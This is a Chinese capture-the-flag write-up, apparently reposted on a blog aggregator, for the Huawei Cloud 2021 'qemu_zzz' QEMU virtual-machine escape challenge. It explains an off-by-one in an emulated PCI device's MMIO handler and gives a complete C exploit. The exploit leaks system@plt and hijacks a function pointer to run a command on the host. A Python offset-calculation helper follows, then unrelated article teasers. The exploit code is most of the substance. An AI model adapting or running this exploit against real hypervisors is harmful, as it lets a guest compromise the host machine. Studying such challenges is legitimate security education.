【qemu逃逸】华为云2021-qemu_zzz

前言

虚拟机用户名:root

无密码

设备逆向

经过逆向分析,可得实例结构体大致结构如下:

其中 self 指向的是结构体本身,cpu_physical_memory_rw 就是这个函数的函数指针。arr 应该是 PCI 设备类结构体没啥用,就直接用数组填充了。

zzz_mmio_read 函数就是读取 buf 中的内容,没啥用,就不看了,重点在 zzz_mmio_write 函数中。

zzz_mmio_write 函数

函数我已经把注释写的非常清楚了,就不详细说了。主要说下漏洞的利用。

漏洞利用

 漏洞很明显就一个 off by one,而且题目无中生有的在 buf 后面搞了个 self 指针,并且在对 dst 进行读写时,是先取的 self 指针,然后 dst/src/len/cpu_..._rw 函数都是根据这个 self 指针来的。

所以利用就很明显了,buf 这个空间我们是可控的,所以我们可以利用 off by one 去将 self 指针进行偏移,使得 dst,len,offset 落在 buf 中,这样就可以实现任意读了。

为啥说是任意读呢?因为要实现写得让 len 的低比特为 0,这里可以利用那个异或操作。

exp:

#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <stdint.h>
#include <string.h>void binary_dump(char *desc, void *addr, int len) {uint64_t *buf64 = (uint64_t *) addr;uint8_t *buf8 = (uint8_t *) addr;if (desc != NULL) {printf("\033[33m[*] %s:\n\033[0m", desc);}for (int i = 0; i < len / 8; i += 4) {printf("  %04x", i * 8);for (int j = 0; j < 4; j++) {i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");}printf("   ");for (int j = 0; j < 32 && j + i * 8 < len; j++) {printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');}puts("");}
}void * mmio_base;
void mmio_init()
{int fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR|O_SYNC);if (fd < 0) puts("[X] open for resource0"), exit(EXIT_FAILURE);mmio_base = mmap(0, 0x100000, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);if (mmio_base < 0) puts("[X] mmap for mmio"), exit(EXIT_FAILURE);if (mlock(mmio_base, 0x100000) < 0) puts("[X] mlock for mmio"), exit(EXIT_FAILURE);printf("[+] mmio_base: %#p\n", mmio_base);
}uint64_t gva_to_gpa(void* addr)
{uint64_t page;int fd = open("/proc/self/pagemap", O_RDONLY);if (fd < 0) puts("[X] open for pagemap"), exit(EXIT_FAILURE);lseek(fd, ((uint64_t)addr >> 12 << 3), 0);read(fd, &page, 8);return ((page & ((1ULL << 55) - 1)) << 12) | ((uint64_t)addr & ((1ULL << 12) - 1));
}void mmio_write(uint64_t addr, uint64_t val)
{*(uint64_t*)(mmio_base + addr) = val;
}int main(int argc, char** argv, char** envp)
{mmio_init();char * buf = mmap(0, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS, -1, 0);memset(buf, 0, 0x1000);mlock(buf, 0x1000);uint64_t gpa = gva_to_gpa(buf);printf("[+] gpa: %#p\n", gpa);//n =  0x1001//offset =  0xfee//offset ^ 0x209 =  0xde7char cmd[8] = "xcalc;\x00\x00";*(uint64_t*)(buf + 0x00) = gpa;*(uint32_t*)(buf + 0x08) = (0x1000-0xfee)|1;*(uint32_t*)(buf + 0x0a) = 0xfee;*(uint64_t*)(buf + 0x430) = *(uint64_t*)cmd;*(uint64_t*)(buf + 0x430 + 0x8) = 0;*(uint64_t*)(buf + 0x430 + 0xa) = 0;puts("[+] Step 1");mmio_write(0x10, 0);mmio_write(0x18, 0x440);mmio_write(0x20, gpa >> 12);mmio_write(0x60, 0);puts("[+] Step 2");buf[0] = '\x00';buf[1] = '\xf0';mmio_write(0x10, 0xfff);mmio_write(0x18, 2);mmio_write(0x20, gpa >> 12);mmio_write(0x60, 0);puts("[+] Step 3");mmio_write(0x60, 0);binary_dump("OOR DATA", buf+2, 0x20);uint64_t self_addr = *(uint64_t*)(buf + 2) - 0x10;uint64_t system_plt = *(uint64_t*)(buf + 2 + 0x08) - 0x314b40;printf("[+] system@plt: %#p\n", system_plt);puts("[+] Step 4");mmio_write(0x10, 8);mmio_write(0x18, 24);puts("[+] xor xor");mmio_write(0x50, 0);buf[0] = '\x00';*(uint64_t*)(buf + 1) = self_addr + 0xe20;*(uint32_t*)(buf + 1 + 8) = 0;*(uint32_t*)(buf + 1 + 8 + 4) = 0;*(uint64_t*)(buf + 0x209) = self_addr + 0xe08;*(uint64_t*)(buf + 0x209 + 0x8) = system_plt;puts("[+] Step 5");mmio_write(0x60, 0);puts("[+] Triger");mmio_write(0x60, 0);puts("[+] END!");return 0;
}

效果如下:

坑点

就我而言,在我的本地环境中,实例结构体地址的低字节为 0xe0,而由于我们只能修改低字节的数据,所以这里就只能把 self 的低字节修改为 0xf0。

在伪造 dst/len/offset,如果你伪造的 offset = 0xff0,len = 0x11 你会发现,后面异或之后其 len + offset > 0x1001 导致无法进行写入(针对实例结构体而言)。所以这里的 offset 和 len 不能随便伪造。这里写了一个脚本用于计算伪造的 offset 和 len:

for offset in range(0, 0xff0):orgi_n = offset + ((0x1000 - offset)|1)n = (offset^0x209) + ((((0x1000-offset)|1))^0x209)if n == 0x1001 and orgi_n == 0x1001:print("n = ", hex(n))print("offset = ", hex(offset))print("offset ^ 0x209 = ", hex(offset ^ 0x209))print("========================================")

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/134004.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Spring Cloud学习(二)【Eureka注册中心】

文章目录 Eureka 注册中心Eureka 的作用 动手实践搭建 EurekaServer服务注册服务发现 Ribbon 负载均衡负载均衡原理IRule 接口&#xff08;负载均衡策略&#xff09;饥饿加载 Eureka 注册中心 服务调用出现的问题 不能采用硬编码服务消费者该如何获取服务提供者的地址信息&am…

数据库数据迁移常见方式

数据库数据迁移常见方式 数据库数据迁移常见方式1、通过sql2、通过数据迁移工具3、云服务进行数据迁移什么是DRS服务如何使用DRS服务DRS云服务可以干什么 数据库数据迁移常见方式 1、通过sql 批量导入sql insert into tableName select * 2、通过数据迁移工具 在数据库里面…

分支限界法求解迷宫问题

问题描述 从入口出发&#xff0c;按某一方向向前探索&#xff0c;若能走通(未走过的&#xff09;&#xff0c;即某处可以到达&#xff0c;则到达新点&#xff0c;否则试探下一方向&#xff1b;若该点所有的方向均没有通路&#xff0c;则沿原路返回到前一点&#xff0c;换下一个…

基于springboot实现招聘信息管理系统项目【项目源码+论文说明】

基于springboot实现招聘信息管理系统演示 摘要 在Internet高速发展的今天&#xff0c;我们生活的各个领域都涉及到计算机的应用&#xff0c;其中包括招聘信息管理系统的网络应用&#xff0c;在外国招聘信息管理系统已经是很普遍的方式&#xff0c;不过国内的线上管理系统可能还…

野火霸天虎 STM32F407 学习笔记_3 尝试寄存器映射方式点亮 LED 灯

新建工程 寄存器方式 要命啊&#xff0c;一看名字我就不想试。寄存器新建不得麻烦死。 哎算了为了学习原理&#xff0c;干了。 我们尝试自己写一个寄存器的库函数来引用。 首先我们需要引用 st 官方启动文件 stmf4xx.s&#xff0c;具体用途后面章节再展开讲解。然后我们自…

算法打卡01——求两数之和

题目&#xff1a; 给定一个整数数组 nums 和一个整数目标值 target&#xff0c;请你在该数组中找出 和为目标值 target 的那 两个 整数&#xff0c;并返回它们的数组下标。 你可以假设每种输入只会对应一个答案。但是&#xff0c;数组中同一个元素在答案里不能重复出现。 你…

NtripShare Caster高精度定位CORS服务软件

NtripShare CORS是NtripShare GNSS系列软件中最早的软件系统&#xff0c;也是NtripShare名称的起源。 所谓GNSS CORS服务系统一般构成&#xff1a; 1&#xff09;基准站网&#xff1a;由若干个分布合理的GNSS 基准站组成&#xff1b; 2&#xff09;数据传输系统&#xff1a;…

贰[2],OpenCV函数解析

1&#xff0c;imread&#xff1a;图片读取 CV_EXPORTS_W Mat imread( const String& filename, int flags IMREAD_COLOR );//参数1(filename)&#xff1a;文件地址 //参数2(flags):读取标志 注:ImreadModes&#xff0c;参数2(flags)枚举定义 enum ImreadModes { IMREAD…

Android 接入ttf字体文件

一、业务实现 一些炫酷的App总会加一些App自己的字体。这时候需要找UI提供ttf字体文件。 然后实现 TTF&#xff08;TrueType Font&#xff09;字体文件并将其应用到 TextView。 二、大致流程 将 TTF 字体文件添加到你的 Android 项目中&#xff1a; 将 TTF 文件复制到 res/f…

K8S知识点(六)

&#xff08;1&#xff09;资源管理方式1 其他参数 其他参数以json格式显示pod信息 以yaml显示pod信息&#xff1a; 用describe描述容器的详细信息&#xff1a;包括ip啊&#xff0c;镜像啊&#xff0c;端口啊&#xff0c;容器启动经历的历程 创建命名空间Pod&#xff1a; 查询…

Excel文档名称批量翻译的高效方法

在处理大量文件时&#xff0c;我们常常需要借助一些工具来提高工作效率。例如&#xff0c;在需要对Excel文档名称进行批量翻译时&#xff0c;一个方便快捷的工具可以帮助我们省去很多麻烦。今天&#xff0c;我将介绍一款名为固乔文件管家的软件&#xff0c;它能够帮助我们轻松实…

解决 SSLError: HTTPSConnectionPool(host=‘huggingface.co‘, port=443)

看我的回答&#xff1a; https://github.com/huggingface/transformers/issues/17611#issuecomment-1794486960 能问这个问题的都是网络不太好的&#xff0c;你懂的&#xff0c;所以答案全是解决网络的。 得益于这个回答&#xff1a;#17611 (comment) 看了一下代码&#xf…

The valid characters are defined in RFC 7230 and RFC 3986

服務器通過Body 對象接收參數&#xff0c;而客戶端通過param 地址URL傳參數&#xff0c;不能解析。 return axiosHelper<Protocol<ABC[]>>({method: POST,url: ,data: _reqparams: {data: _req}}) public List<InvoiceItem> getAAAA(RequestBody Query quer…

ElementUI-tree拖拽功能与节点自定义

前言 在管理端会遇到多分类时&#xff0c;要求有层次展示出来&#xff0c;并且每个分类有额外的操作。例如&#xff1a;添加分类、编辑分类、删除、拖到分类等。 下面将会记录这样的一个需求实习过程。 了解需求 分类展示按层级展示分类根据特定的参数展示可以操作的按钮&a…

C语言——switch语句判断星期

#define _CRT_SECURE_NO_WARNINGS 1#include<stdio.h> int main() {int day 0;scanf("请输入1-7之间的整数&#xff1a;%d",&day);switch(day){case 1:printf("星期一\n");break;case 2:printf("星期二\n");break;case 3:printf(&quo…

Java基于springboot开发的景点旅游项目

演示视频 https://www.bilibili.com/video/BV1cj411Y7UK/?share_sourcecopy_web&vd_source11344bb73ef9b33550b8202d07ae139b 主要功能&#xff1a;用户可浏览搜索旅游景点&#xff08;分为收费和免费景点&#xff09;&#xff0c;购票&#xff08;支持多规格套餐购票&am…

【Node.js入门之—1.1Node.js 简介】

Node.js入门之—1.1Node.js 简介 文章目录 Node.js入门之—1.1Node.js 简介什么是 Node.js错误说法 Node.js 的特点跨平台三方类库自带http服务器非阻塞I/O事件驱动单线程 Node.js 的应用场合适合用Node.js的场合不适合用Node.js的场合弥补Node.js不足的解决方案 什么是 Node.j…

cordova Xcode打包ios以及发布流程(ionic3适用)

第一步 1、申请iOS证书 2、导入证书到钥匙串 第二步 1、xcode配置iOS证书 1.1用Xcode打开你的项目&#xff08;我的Xcode版本是新版&#xff09; 修改如下图 回到基本信息设置界面&#xff0c;Bundie 这项填写&#xff0c;最先创建的那个appid&#xff0c;跟创建iOS描述文件时选…

决策式AI与生成式AI

人工智能中深度学习&#xff0c;是一种受人脑的生物神经网络机制启发&#xff0c;并模仿人脑来解释、处理数据的机器学习技术&#xff0c;它能自动对数据进行特征提取、识别、决策和生成。它可以从不同的维度进行划分&#xff0c;如果按模型的特点来划分可分为决策式AI和生成式…

2023年中国金融控股公司研究报告

第一章 行业概况 1.1 定义 金融控股公司这一术语最初源自美国&#xff0c;特别是在美国的《金融服务法案》关于银行控股公司组织结构的条文中&#xff0c;首次出现了“金融控股公司”&#xff08;Financial Holding Company&#xff09;这一法律术语&#xff0c;尽管法案中并…